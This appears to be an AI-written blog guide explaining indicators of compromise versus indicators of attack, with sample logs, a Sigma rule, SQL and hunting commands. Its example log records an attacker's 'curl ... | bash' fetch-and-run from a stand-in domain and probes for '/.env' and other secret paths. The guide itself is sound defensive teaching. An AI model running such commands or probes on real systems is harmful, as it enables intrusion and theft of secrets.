Indicators of Compromise vs Indicators of Attack in Incident Response
For developers who need to triage suspicious activity without drowning in alerts, this guide explains the practical difference between indicators of compromise and indicators of attack, where each fits in an incident response pipeline, and how to operationalize both with logs, rules, and concrete commands. You’ll leave with decision criteria, a realistic end-to-end example, and code/config you can adapt today.
TL;DR — IoCs tell you a bad thing likely already happened; IoAs tell you a bad thing is being attempted or unfolding. Use IoCs for scoping and retrospective hunting, use IoAs for earlier detection and containment; if you can only invest in one first, start with a small set of behavior-based IoAs around your highest-risk paths because static IoCs age badly and are easy for attackers to rotate. Reading time: ~7 min
What it is and where it sits
In an incident-response stack, IoCs and IoAs are not competing ideas; they answer different questions at different points in the kill chain.
- Indicators of compromise (IoCs) are artifacts left behind: a known malicious IP, file hash, domain, registry key, process path, cookie name, user-agent string, unusual persistence key, exfil destination, or a specific SQL row mutation pattern. They are strongest after initial detection, when you need to answer: "Where else did this land?"
- Indicators of attack (IoAs) are behaviors: impossible travel followed by API token creation, a process tree like
nginx -> bash -> curl, repeated access to/.envand/wp-admin/install.php, or a user who downloads 50 GB from S3 after privilege escalation. They are strongest for answering: "Is an attack underway even if the attacker changes tools?"
Architecture-wise:
- Sources feeding both: app logs, reverse proxy logs, auth logs, EDR/host telemetry, cloud audit logs, DNS resolver logs, database audit logs, email gateway logs.
- Consumers: SIEM, log pipeline, detection engine, SOAR/playbooks, case management, threat hunting notebooks.
- What IoAs replace: not IoCs entirely, but the old habit of relying only on blocklists and hashes.
- Where they live in request/data flow: IoAs are usually evaluated inline or near-real-time in your detection pipeline; IoCs are often enrichment data applied during search, correlation, and scoping.
View as text
[User] ---- 1. HTTPS request ----> [Edge/WAF] [Edge/WAF] ---- 2. access log ----> [Log Pipeline] [App] <---- 3. proxied request ---- [Edge/WAF] [App] ---- 4. app/auth logs ----> [Log Pipeline] [Host/EDR] ---- 5. proc/file/net events ----> [Log Pipeline] [Cloud Audit] ---- 6. IAM/API events ----> [Log Pipeline] [Log Pipeline] ---- 7. IoA rules ----> [Detection Engine] [Log Pipeline] ---- 8. IoC enrichment/search ----> [Detection Engine] [Detection Engine] ---- 9. alert/case ----> [IR Team]
A useful mental model:
- IoC = evidence artifact
- IoA = suspicious sequence or behavior
If you only collect IoCs, you detect yesterday’s attacker. If you only collect IoAs, you may miss fast scoping once you know a concrete bad domain, hash, or token fingerprint.
How it actually works
Walk one realistic example: a public web app gets probed, then exploited via leaked credentials, then used to exfiltrate data from object storage.
Step-by-step example
-
Recon and probing hits the edge The attacker requests paths like
/.env,/server-status,/actuator/env, and/api/debug. These requests may not be malicious by themselves, but the sequence and rate are useful IoAs. -
Successful auth from a new ASN A real user account logs in successfully from an unusual network, then creates a new API token 90 seconds later. That token immediately starts listing and downloading objects from a storage bucket it never touched before.
-
Host telemetry shows suspicious child process On one app node, the web server worker spawns a shell and then
curl. That process tree is a classic IoA because normal request handling should not look likenginx -> sh -> curl. -
Concrete artifacts appear During investigation, you identify:
- source IP
203.0.113.24 - user-agent
curl/8.7.1 - destination domain
sync-data-example.net - SHA-256 of a dropped script These are IoCs. You now search all logs and endpoints for them.
- source IP
-
Response uses both types differently
- IoA rules fire first and create the alert.
- IoCs are then used to scope: which hosts resolved the domain, which services connected to the IP, which buckets were touched by the token, which other accounts showed the same sequence.
What this looks like in logs
An nginx access log shape:
203.0.113.24 - - [30/Oct/2026:09:11:02 +0000] "GET /.env HTTP/1.1" 404 153 "-" "curl/8.7.1"
203.0.113.24 - - [30/Oct/2026:09:11:03 +0000] "GET /actuator/env HTTP/1.1" 404 153 "-" "curl/8.7.1"
203.0.113.24 - - [30/Oct/2026:09:11:05 +0000] "POST /api/login HTTP/1.1" 200 612 "-" "curl/8.7.1"
203.0.113.24 - - [30/Oct/2026:09:12:31 +0000] "POST /api/tokens HTTP/1.1" 201 188 "-" "curl/8.7.1"
A Linux process tree shape from EDR or audit logs:
time=2026-10-30T09:13:02Z host=app-3 parent=nginx pid=18422 proc=sh cmd="sh -c curl -fsSL https://sync-data-example.net/a.sh | bash"
time=2026-10-30T09:13:02Z host=app-3 parent=sh pid=18431 proc=curl cmd="curl -fsSL https://sync-data-example.net/a.sh"
A cloud audit event shape:
{"eventTime":"2026-10-30T09:14:10Z","eventName":"CreateAccessToken","userIdentity":{"userName":"svc-reporting"},"sourceIPAddress":"203.0.113.24"}
{"eventTime":"2026-10-30T09:14:55Z","eventName":"ListBucket","userIdentity":{"accessKeyId":"AKIA..."},"requestParameters":{"bucketName":"customer-exports"},"sourceIPAddress":"203.0.113.24"}
{"eventTime":"2026-10-30T09:15:12Z","eventName":"GetObject","requestParameters":{"key":"2026/10/export-001.csv"},"sourceIPAddress":"203.0.113.24"}
Mechanically, the detection engine does two different jobs:
- IoA correlation: “same IP probes sensitive paths, then authenticates, then creates token, then accesses unusual bucket within 5 minutes.”
- IoC matching: “show every event involving
203.0.113.24,sync-data-example.net, or hashabc...in the last 30 days.”
That distinction matters operationally. IoAs are often implemented as rules over time windows and entity relationships. IoCs are often implemented as lookup tables, threat intel feeds, and retro-hunt queries.
When to use it (and when not to)
| Scenario | Recommendation |
|---|---|
| You need early warning on account takeover, lateral movement, or abuse of valid credentials | Prefer IoAs. Static IoCs are weak when the attacker uses normal tools and fresh infrastructure. |
| You already know one malicious IP/domain/hash from a confirmed incident and need blast radius fast | Use IoCs first for scoping, then add IoAs to catch variants. |
| Your team has sparse telemetry and only basic firewall/proxy logs | Start with a few high-signal IoAs from those logs plus a tiny local IoC list. Don’t buy giant feeds you can’t validate. |
| You ingest commercial threat intel but drown in false positives | Reduce raw IoC matching; require context like asset criticality, auth success, or process ancestry. |
| You run short-lived containers/serverless where file hashes and host artifacts disappear quickly | Favor IoAs from control-plane, runtime, and API behavior. |
| You only want to block known bad IPs at the edge | IoCs are fine for hygiene, but this is not a serious detection strategy by itself. |
You probably don’t need a big IoC program if:
- you have no retention to search historical logs,
- you cannot normalize identities across systems,
- your team cannot triage feed noise,
- or your environment changes so fast that host-level artifacts are mostly ephemeral.
You probably don’t need complex IoA correlation first if:
- your current gap is simply that auth logs, reverse proxy logs, and cloud audit logs are not collected anywhere central,
- or you are still missing basic detections like “new admin created” and “token created outside business norm.”
Trade-offs
Every benefit has a bill.
-
IoCs are fast to apply: easy to load into a SIEM lookup or firewall blocklist.
Cost: they decay quickly, are easy to rotate, and often create feed-driven false positives. -
IoCs are excellent for scoping: once you have one domain/hash/IP, retro-hunting is straightforward.
Cost: they are usually late. By the time you have a stable IoC, the intrusion may already be established. -
IoAs catch unknown variants: behavior survives tool changes better than hashes or domains.
Cost: more engineering work, more tuning, and more dependence on consistent telemetry schemas and time sync. -
IoAs reduce attacker freedom: they can’t simply swap binaries or infrastructure to evade.
Cost: behavior rules can hit legitimate admin activity, red-team exercises, migrations, or batch jobs unless you model exceptions. -
IoC feeds can be bought/imported quickly: low initial setup.
Cost: operational burden shifts to triage and feed quality management; bad feeds waste analyst time. -
IoAs align better with modern cloud/SaaS incidents: token misuse, privilege escalation, impossible sequences.
Cost: cross-system correlation can increase SIEM spend, query latency, and lock you into a particular event schema or rule language.
In practice
Example 1: Hunt IoCs from web and auth logs with jq and ripgrep
IOC_IP="203.0.113.24"
IOC_DOMAIN="sync-data-example.net"
IOC_UA="curl/8.7.1"
rg -n --no-heading "$IOC_IP|$IOC_DOMAIN|$IOC_UA" /var/log/nginx/access.log /var/log/app/*.log
jq -r 'select(.sourceIPAddress == env.IOC_IP or (.requestParameters|tostring|contains(env.IOC_DOMAIN))) | [.eventTime,.eventName,.sourceIPAddress,.userIdentity.userName] | @tsv' \
/var/log/cloud/audit.json
This does fast local scoping when you already have concrete artifacts. Gotcha: jq field paths vary a lot across providers and products; inspect one real event first with jq '.' file | less before hardcoding selectors.
Example 2: Sigma-style IoA for suspicious web-to-shell execution
title: Web Server Spawned Shell Then Network Client
id: 2f6d8a8b-0c2f-4a9f-9f3f-4f0d3d3a1001
status: experimental
logsource:
category: process_creation
product: linux
selection_parent:
ParentImage|endswith:
- '/nginx'
- '/apache2'
- '/httpd'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
selection_grandchild:
CommandLine|contains:
- 'curl '
- 'wget '
condition: selection_parent and selection_child and selection_grandchild
level: high
falsepositives:
- admin scripts triggered via web hooks
- legacy CGI or image-processing wrappers
This is an IoA because it detects a behavior chain, not a specific hash or IP. Gotcha: depending on your backend, you may not have true parent/grandchild linkage; if your telemetry only records one level, split this into two correlated rules over a short time window.
Example 3: SQL to detect an attack sequence in normalized logs
WITH probes AS (
SELECT client_ip, min(ts) AS first_probe
FROM edge_logs
WHERE path IN ('/.env','/actuator/env','/server-status')
GROUP BY client_ip
),
logins AS (
SELECT client_ip, user_id, min(ts) AS login_ts
FROM auth_logs
WHERE success = true
GROUP BY client_ip, user_id
),
tokens AS (
SELECT actor_ip AS client_ip, user_id, min(ts) AS token_ts
FROM audit_logs
WHERE event_name = 'CreateAccessToken'
GROUP BY actor_ip, user_id
)
SELECT p.client_ip, l.user_id, p.first_probe, l.login_ts, t.token_ts
FROM probes p
JOIN logins l ON l.client_ip = p.client_ip AND l.login_ts BETWEEN p.first_probe AND p.first_probe + interval '10 minutes'
JOIN tokens t ON t.client_ip = l.client_ip AND t.user_id = l.user_id AND t.token_ts BETWEEN l.login_ts AND l.login_ts + interval '5 minutes';
This is a practical IoA correlation query you can run in Postgres or adapt to your warehouse. Gotcha: NAT, proxies, and mobile carriers can make IP-only joins noisy; if you have session ID, device ID, or user principal, join on those too.
⚠️ If you turn IoCs directly into blocks at the firewall or WAF, you can cause customer-visible outages by blocking shared egress IPs, VPNs, or cloud NAT gateways. Validate with a search query first, then apply a short TTL block and monitor 4xx/5xx rates.
A simple validation command before blocking an IP in nginx logs:
grep '203.0.113.24' /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head
If that output shows normal app paths and successful authenticated traffic from multiple users, do not blindly block; contain at the account or token level first.
Further reading
- MITRE ATT&CK — Detection and Data Sources sections
- Sigma Rule Specification
- The "Logging" and "Threat Detection" sections of the OWASP Cheat Sheet Series
- NIST SP 800-61 Computer Security Incident Handling Guide
- The "Security Logging and Monitoring Failures" material in the OWASP Top 10
This article was written by an AI system and published pending human review. Verify anything you intend to act on.
Have a project in mind?
Get an instant AI price estimate for it, or talk directly to our team.
One email a month on what we learn building with AI